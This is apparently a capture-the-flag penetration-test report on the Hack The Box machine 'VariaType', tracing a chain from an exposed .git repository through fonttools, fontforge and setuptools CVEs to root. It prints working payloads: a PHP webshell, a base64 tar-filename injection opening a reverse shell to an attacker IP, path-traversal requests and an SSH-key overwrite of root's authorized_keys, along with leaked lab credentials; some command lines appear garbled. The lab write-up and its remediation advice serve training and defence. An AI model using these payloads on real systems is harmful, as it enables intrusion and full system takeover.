

PENETRATION TEST REPORT

Hack The Box // VariaType

DATE	June 16, 2026
TARGET	10.129.28.135 (variatype.htb / portal.variatype.htb)
TESTER	Assem Merzoug (4ss3m)
CLASSIFICATION	CONFIDENTIAL
STATUS	Completed — Root obtained
DIFFICULTY	Medium

1. Executive Summary

A penetration test was conducted against the Hack The Box machine **VariaType** (10.129.28.135 / variatype.htb) on June 14–16, 2026. The assessment identified a chain of five vulnerabilities resulting in full root-level compromise — requiring no kernel exploits, only enumeration, known CVEs, and a sudo misconfiguration. The entire attack path flows from an exposed Git repository through three distinct CVEs, culminating in SSH key injection into the root account.

#	Finding	CVE / Class	Severity
1	Exposed .git — Hardcoded Credentials	CWE-312 / CWE-538	HIGH
2	Path Traversal — Filter Bypass (LFI)	CWE-22	HIGH
3	CVE-2025-66034 — fonttools Arbitrary File Write	CVE-2025-66034	CRITICAL
4	CVE-2024-25082 — fontforge Command Injection	CVE-2024-25082	CRITICAL
5	CVE-2025-47273 — setuptools Path Traversal (sudo)	CVE-2025-47273	CRITICAL

Kill Chain Summary

1. Recon	nmap reveals SSH (22) and nginx (80). vhost fuzzing discovers portal.variatype.htb.
2. Credential Discovery	Exposed .git on the portal. git-dumper retrieves the repository. Commit history reveals hardcoded credentials: gitbot:G1tB0t_Acc3ss_2025!
3. LFI / Path Traversal	Authenticated download endpoint at /download.php?f= is vulnerable to path traversal with// filter bypass. /etc/nginx/nginx.conf read reveals web root: /var/www/portal.variatype.htb/public/
4. CVE-2025-66034 — www-data shell	Malicious .designspace file uploaded to variatype.htb writes a PHP reverse shell to /files/shell6.php. Shell triggered by visiting portal.variatype.htb/files/shell6.php.
5. CVE-2024-25082 — steve shell	pspy reveals a cron job running as steve (UID=1000) that passes uploaded filenames into fontforge. Malicious poc.tar with a command-injected filename triggers a reverse shell as steve.
6. CVE-2025-47273 — Root	Steve can run install_validator.py as root (NOPASSWD). The script uses setuptools PackageIndex.download(), vulnerable to path traversal via percent-encoded slashes. Attacker's SSH public key written to /root/.ssh/authorized_keys. SSH login as root.

2. Scope & Methodology

Field	Detail
Target IP	10.129.28.135
Hostnames	variatype.htb / portal.variatype.htb
OS	Linux — Debian 12 (nginx/1.22.1, OpenSSH 9.2p1)
Services	SSH (22), HTTP nginx (80)
Test Type	Black-box penetration test
Attacker VPN IP	10.10.14.108 (tun0)
Tools Used	nmap, ffuf, gobuster, git-dumper, curl, pspy, python3, nc

Methodology Phases

01 Reconnaissance	Port scanning (nmap -p- and -sC -sV), vhost enumeration with ffuf, directory brute-force with gobuster.
02 Web Enumeration	Manual inspection of both vhosts, .git directory discovery, credential extraction from commit history.
03 Initial Access	Path traversal LFI to read server config, CVE-2025-66034 designspace exploit to write webshell, reverse shell as www-data.
04 Lateral Movement	Process monitoring with pspy to discover cron job, CVE-2024-25082 tar filename injection to pivot to steve.
05 Privilege Escalation	Sudo analysis, CVE-2025-47273 setuptools path traversal to write SSH authorized_keys as root, SSH login.

3. Reconnaissance

3.1 Port Scan

nmap was run to identify open ports and service versions:

```
$ nmap -p- --min-rate=1000 -T4 10.129.28.135 PORT STATE SERVICE VERSION 22/tcp open  ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) 80/tcp open  http  nginx/1.22.1 |_http-title: Did not follow redirect to http://variatype.htb/
```

Two open ports: SSH on 22 and nginx on 80. The HTTP server redirects to **variatype.htb**, which was added to `/etc/hosts` along with **portal.variatype.htb** discovered in the next step.

3.2 Vhost Enumeration

```
$ ffuf -w /opt/seclists/Discovery/DNS/bitquark-subdomains-top1000000.txt:FUZZ \ -u http://variatype.htb -H 'Host: FUZZ.variatype.htb' -fw 5 portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 395ms]
```

A **portal** subdomain was discovered. Visiting it reveals an Internal Validation Portal login page.

3.3 Directory Enumeration — portal.variatype.htb

```
$ gobuster dir -u http://portal.variatype.htb \ -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -x php,txt /download.php (Status: 302) [--> /] /files (Status: 301) [--> http://portal.variatype.htb/files/] /index.php (Status: 200) /view.php (Status: 302) [--> /] /auth.php (Status: 200) /dashboard.php (Status: 302) [--> /]
```

Key findings: a **/files** directory (autoindex off), a **/download.php** endpoint, and a **/git** directory accessible via HTTP — the most critical discovery of the recon phase.

4. Initial Access

4.1 Exposed .git — Credential Extraction

The portal exposed its Git repository at **portal.variatype.htb/.git/**. git-dumper was used to download the full repository contents, and the commit history was reviewed:

```
$ git-dumper http://portal.variatype.htb/ recon/git-dump $ cd recon/git-dump && git log commit
753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master) Author: Dev Team <dev@variatype.htb>;
Date: Fri Dec 5 15:59:33 2025 -0500 fix: add gitbot user for automated validation pipeline $ git show
753b5f5957f2020480a19bf29a0ebc80267a4a3d diff --git a/auth.php b/auth.php +$USERS = [ + 'gitbot' =>
'G1tB0t_Acc3ss_2025!' +];
```

Plaintext credentials were found hardcoded in auth.php: **gitbot : G1tB0t_Acc3ss_2025!**. These granted login to the portal dashboard.

4.2 Path Traversal — Filter Bypass (LFI)

The portal's download feature passes filenames directly into the **f** parameter of download.php. A simple **../** traversal returned 'File not found', indicating basic filtering. The filter was bypassed using **....//** sequences, which collapse to **../** after the application strips one layer:

```
# Direct attempt — blocked $ curl -sb loot/cookies.txt
'http://portal.variatype.htb/download.php?f=../../../../etc/passwd' File not found. # Filter bypass with
....// $ curl -sb loot/cookies.txt
'http://portal.variatype.htb/download.php?f=....//....//....//....//etc/passwd'
root:x:0:0:root:/root:/bin/bash ... steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
```

The Nginx configuration was then read to discover the portal web root:

```
$ curl -sb loot/cookies.txt \ 'http://portal.variatype.htb/download.php?f=....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb' root /var/www/portal.variatype.htb/public; location /files/ {
autoindex off; }
```

Web root confirmed as **/var/www/portal.variatype.htb/public/**, with the **/files/** directory writable and served directly without PHP processing restrictions.

4.3 CVE-2025-66034 — fonttools Arbitrary File Write (www-data Shell)

The main site at variatype.htb accepts .designspace XML files for font generation using the fonttools library. CVE-2025-66034 allows an attacker to abuse the **<variable-font filename=>** attribute with path traversal to write arbitrary content to any location the web server process can write to. The CDATA section in a **<labelname>** element becomes the file content — allowing injection of a PHP reverse shell:

```
# exploits/revshell.designspace (key excerpt) <variable-font name='Hack'
filename='../../../../../../../../var/www/portal.variatype.htb/public/files/shell6.php'> <axis
tag='wght' name='Weight' minimum='100' maximum='900' default='400'> <labelname
xml:lang='en'><![CDATA[ <?php system($_GET['cmd']); ?> ]]></labelname>
</axis> </variable-font>
```

After upload to **variatype.htb/tools/variable-font-generator**, the file was confirmed in the portal dashboard. Visiting **portal.variatype.htb/files/shell6.php** with a netcat listener active returned a shell as **www-data**:

```
$ nc -lvnp 4444 Connection received on 10.129.28.135
www-data@variatype:~/portal.variatype.htb/public/files$ id uid=33(www-data) gid=33(www-data)
groups=33(www-data)
```

5. Lateral Movement — www-data to steve

5.1 Process Monitoring with pspy

With a foothold as `www-data`, `pspy64` was downloaded from the attacker machine and executed to monitor processes without root privileges:

```
www-data@variatype:/tmp$ wget http://10.10.14.108:8000/pspy64 -O pspy64 www-data@variatype:/tmp$ chmod +x pspy64 && ./pspy64 2026-06-14 10:20:01 CMD: UID=1000 PID=5742 | /bin/bash /home/steve/bin/process_client_submissions.sh 2026-06-14 10:20:01 CMD: UID=1000 PID=5743 | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "font = fontforge.open('variatype_8GJKTv4L6FM.ttf')"
```

A cron job running as **steve (UID=1000)** processes every file in the upload directory using fontforge. A backup of the processing script was found readable at `/opt/process_client_submissions.bak`, revealing the exact command construction — the filename is passed unsanitized into `fontforge.open()`.

5.2 CVE-2024-25082 — fontforge tar Filename Command Injection

CVE-2024-25082 allows command injection by embedding a shell command inside the name of an entry in a tar archive. When fontforge opens the archive, it extracts filenames and passes them through a shell interpreter, executing the injected command. The payload was Base64-encoded to avoid special character issues:

```
# Payload creation (run from www-data shell)
www-data@variatype:/var/www/portal.variatype.htb/public/files$ python3 -c "import tarfile, base64; b64 = base64.b64encode(b'bash -i && /dev/tcp/10.10.14.108/4445 0&&&1').decode(); t = tarfile.TarInfo(name=f'\$(echo {b64})|base64 -d|bash)'); t.size = 0; with tarfile.open('poc.tar', 'w') as f: f.addfile(t)"
```

Within one minute, the cron job picked up `poc.tar`, fontforge processed the injected filename as a shell command, and a connection was received:

```
$ nc -lvnp 4445 Connection received on 10.129.28.135 45174 steve@variatype:/tmp/ffarchive-3741-1$ whoami
steve steve@variatype:/tmp/ffarchive-3741-1$ cat /home/steve/user.txt e8dad1b95ade71b5f6098124d58b6fe5
```

User flag captured.

6. Privilege Escalation — steve to root

6.1 Sudo Enumeration

```
steve@variatype:~$ sudo -l Matching Defaults entries for steve on variatype: env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty User steve may run the
following commands on variatype: (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py
*
```

Steve can run `install_validator.py` as root with any arguments (wildcard `*`). The script uses `setuptools.package_index.PackageIndex.download()` to fetch a URL and save it to a local directory. The installed setuptools version was confirmed as **78.1.0**, which is vulnerable to CVE-2025-47273 (fixed in 78.1.1).

6.2 CVE-2025-47273 — setuptools Path Traversal via Percent-Encoded URL

CVE-2025-47273 is a path traversal vulnerability in setuptools' `PackageIndex.download()` function. The function decodes percent-encoded characters in the URL filename component before writing the file, allowing an attacker to traverse outside the intended destination directory. By encoding slashes as `%2F`, the downloaded file can be written to an arbitrary absolute path.

The exploit procedure:

- **Step 1:** Generate an SSH key pair on the target machine as steve.
- **Step 2:** Serve the public key from the attacker machine using a custom HTTP server that returns the key regardless of the requested path.
- **Step 3:** Pass a crafted URL to `install_validator.py` where the filename is the percent-encoded absolute path to `/root/.ssh/authorized_keys`.
- **Step 4:** setuptools decodes `%2F` to `/` and writes the public key directly into root's `authorized_keys`.
- **Step 5:** SSH into the machine as root using the corresponding private key.

```
# Step 1 - Generate key in steve's shell steve@variatype:~$ ssh-keygen -t ed25519 -f /tmp/id_rsa -N '' -q
steve@variatype:~$ cat /tmp/id_rsa.pub ssh-ed25519
AAAC3NzaC1lZDI1NTE5AAAAID0p/XxS4pSYxUwmo/WZia3p3TshPqZ/NbUYDhp604LK steve@variatype # Step 2 - Attacker
machine: custom HTTP server (server.py) from http.server import HTTPServer, BaseHTTPRequestHandler class
H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200)
self.send_header('Content-type','text/plain') self.end_headers()
self.wfile.write(open('/tmp/authorized_keys','rb').read())
HTTPServer(('0.0.0.0',8001),H).serve_forever() # Step 3 - Fire the exploit from steve's shell
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
'http://10.10.14.108:8001/%2F%2F%2Froot%2F.ssh%2Fauthorized_keys' 2026-06-16 18:47:23,064 [INFO]
Attempting to install plugin from: ... 2026-06-16 18:47:23,491 [INFO] Plugin installed at:
///root/.ssh/authorized_keys [+] Plugin installed successfully.
```

```
# Step 5 - SSH as root from attacker machine $ ssh -i /tmp/root_id_rsa root@10.129.29.25 Linux variatype
6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 root@variatype:~# cat /root/root.txt [ROOT FLAG]
```

Full root-level compromise achieved.

7. Findings

Finding 1 — Exposed .git Directory — Hardcoded Credentials		HIGH
Location	<code>http://portal.variatype.htb/.git/</code>	
Description	The portal's Git repository was publicly accessible via HTTP. git-dumper retrieved the full repository contents. Reviewing the commit history exposed plaintext credentials hardcoded into auth.php in commit 753b5f5: gitbot:G1tB0t_Acc3ss_2025!	
PoC Command	<code>git-dumper http://portal.variatype.htb/ ./dump && cd dump && git log --all -p</code>	
Impact	Unauthenticated access to the portal dashboard. Credentials may be reused elsewhere. Complete portal source code disclosure allows mapping all attack surface.	
Remediation	Remove the .git directory from the web root via Nginx deny rules or .gitignore deployment controls. Never store credentials in source code — use environment variables or a secrets manager. Rotate all exposed credentials immediately.	

Finding 2 — Path Traversal in download.php — Filter Bypass (LFI)		HIGH
Location	<code>http://portal.variatype.htb/download.php?f=../../../../../../../../etc/passwd</code>	
Description	The download endpoint passes the 'f' parameter to a file read operation. A naive ../ filter is applied but bypassed using// sequences, which collapse to ../ after a single-pass strip. This allowed reading arbitrary files as www-data, including /etc/passwd, /etc/nginx configs, and the portal source code.	
PoC Command	<code>curl -sb cookies.txt 'http://portal.variatype.htb/download.php?f=../../../../../../../../etc/nginx/nginx.conf'</code>	
Impact	Arbitrary file read as the www-data process. Server configuration leaked (nginx web root, PHP-FPM socket path), directly enabling the next stage of the attack.	
Remediation	Validate the file parameter against a strict allowlist of known filenames rather than blocklisting traversal sequences. Canonicalize the path using realpath() and verify it falls within the intended base directory before reading.	

Finding 3 — CVE-2025-66034 — fonttools .designspace Arbitrary File Write		CRITICAL
Location	<code>http://variatype.htb/tools/variable-font-generator</code>	
Description	The fonttools library (versions prior to the patch) processes the filename attribute of <variable-font> elements in .designspace XML files without path sanitization. By supplying a traversal path as the filename, the generated output file is written to an arbitrary location. The CDATA section of a <labelname> element becomes the file content, enabling delivery of a PHP webshell to the publicly served /files/ directory.	
PoC Command	<code>Upload revshell.designspace via the font generator; visit portal.variatype.htb/files/shell6.php</code>	
Impact	Remote code execution as www-data. A PHP webshell was written to /var/www/portal.variatype.htb/public/files/shell6.php and triggered via HTTP, granting an interactive reverse shell on the server.	
Remediation	Update fonttools to a patched version. Independently, validate and sanitize the filename attribute in .designspace processing — reject any path containing traversal sequences. Serve generated output files from a directory outside the PHP-enabled web root, and strip executable extensions on upload.	

Finding 4 — CVE-2024-25082 — fontforge tar Filename Command Injection		CRITICAL
Location	<code>/var/www/portal.variatype.htb/public/files/ (cron-processed)</code>	
Description	A cron job running as steve (UID=1000) calls fontforge on every file in the upload directory. CVE-2024-25082 allows command injection by embedding shell metacharacters in a tar archive entry name — fontforge passes the name through a shell interpreter during extraction. A malicious poc.tar with an entry named \$(echo <b64_payload> base64 -d bash) was placed in the upload directory. When the cron job triggered, the payload executed as steve.	
PoC Command	<code>python3 -c "import tarfile,base64; ..." (poc.tar placed in /files/)</code>	
Impact	Lateral movement from www-data to steve (UID=1000). User flag captured. steve has sudo access to install_validator.py enabling the next escalation.	
Remediation	Update fontforge to a version that does not interpret entry names as shell commands. The processing cron job should validate and sanitize filenames before passing them to any parser. Consider running the cron job in a restricted environment (systemd sandbox or container) to limit blast radius.	

Finding 5 — CVE-2025-47273 — setuptools Path Traversal via sudo install_validator.py		CRITICAL
Location	<code>/etc/sudoers: (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *</code>	
Description	install_validator.py uses setuptools.package_index.PackageIndex.download() to fetch a remote file and save it locally. In setuptools <= 78.1.0 (CVE-2025-47273), the download function decodes percent-encoded path separators (%2F) in the URL filename component before determining the write path, enabling path traversal outside the intended plugin directory. Since the script runs as root via NOPASSWD sudo, an attacker can write any content to any file on the system by encoding the absolute path as URL-encoded slashes in the 'filename' portion of the URL.	
PoC Command	<pre>sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.14.108:8001/%2F%2F%2Froot%2F.ssh%2Fauthorized_keys'</pre>	
Impact	Full root-level compromise. Attacker's SSH public key was written to /root/.ssh/authorized_keys, granting passwordless SSH access as root.	
Remediation	Upgrade setuptools to 78.1.1 or later. Remove the NOPASSWD sudo rule for install_validator.py — if the script is operationally required, wrap it in a script that does not accept user-controlled URL arguments and enforces a strict URL allowlist. Apply principle of least privilege.	

8. Recommendations Summary

Priority	Action	Finding
1 — CRITICAL	Upgrade setuptools to 78.1.1+ and remove the NOPASSWD sudo rule for install_validator.py	F-5
2 — CRITICAL	Update fonttools to a patched version; sanitize .designspace filename attributes; move output outside webroot	F-3
3 — CRITICAL	Update fontforge; sanitize filenames before passing to parsers; sandbox the cron job	F-4
4 — HIGH	Block .git directory access via Nginx; remove credentials from source code; rotate gitbot credentials	F-1
5 — HIGH	Replace path traversal filter with realpath() canonicalization and base-directory check in download.php	F-2
6 — MEDIUM	Implement upload filename allowlisting; strip executable extensions; restrict /files/ directory permissions	F-3

9. Conclusion

The VariaType machine demonstrated a realistic multi-stage attack chain built entirely from enumeration, known CVEs, and a sudo misconfiguration — no kernel exploits or zero-days were required. The critical takeaway is the **compounding effect** of individually remediable issues: the exposed .git provided credentials; path traversal revealed the server layout needed for the next step; CVE-2025-66034 turned a file-format vulnerability into RCE; CVE-2024-25082 pivoted from a web process to a user account; and CVE-2025-47273 in a privileged script handed over the root account with a single command.

Any one of these issues, remediated in isolation, would have broken the attack chain. The most impactful single fix is removing the wildcard NOPASSWD sudo rule for install_validator.py — it unconditionally grants root to anyone who reaches the steve account. Combined with keeping dependencies updated (setuptools, fonttools, fontforge) and applying proper input validation throughout, the attack surface would be reduced to near zero.